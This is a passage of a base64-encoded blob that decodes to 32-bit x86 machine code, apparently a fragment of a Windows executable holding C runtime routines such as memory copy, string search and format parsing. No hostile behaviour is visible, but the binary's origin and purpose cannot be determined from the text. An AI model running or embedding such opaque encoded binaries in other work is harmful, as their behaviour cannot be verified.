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cB04FZX/3UcjY18+///6O8HAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6EIHAACNjaT7///oPw0AAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+iNBwAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvoDd3//4vlXcOF23UFg87/68OLhZj7//87w3Wzav5eM8BmiURf/uuti/9Vi+yB7IQEAAChBFALEDPFiUX8g30YAItFEFOLXRSJhaD7//91GOgW4gAAxwAWAAAA6NTeAACDyP/pFwEAAIXbdASFwHTgVlf/dRyNjXz7///oagYAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///ovQUAAI2NpPv//+jqDAAAi/CF/3RRi0UIg+ABg8gAdByF23UEhfZ1douFmPv//zvDdS6F9ngwO/N2LOtii4WM+///g8gAdFOF23QbhfZ5BzPAZokH6xCLhZj7//87w3RQM8lmiQxHjY3k+///6AgGAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+iI2///i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbNq/l4zwGaJRF/+662L/1WL7IN9GAB1Feiu4AAAxwAWAAAA6GzdAACDyP9dw1aLdRCF9nQ6g30UAHY0/3Ug/3Uc/3UY/3UUVv91DP91COg0+///g8QchcB5A8YGAIP4/nUg6GTgAADHACIAAADrC+hX4AAAxwAWAAAA6BXdAACDyP9eXcOL/1WL7IN9GAB1Feg24AAAxwAWAAAA6PTcAACDyP9dw1aLdRCF9nQ8g30UAHY2/3Ug/3Uc/3UY/3UUVv91DP91COg4/P//g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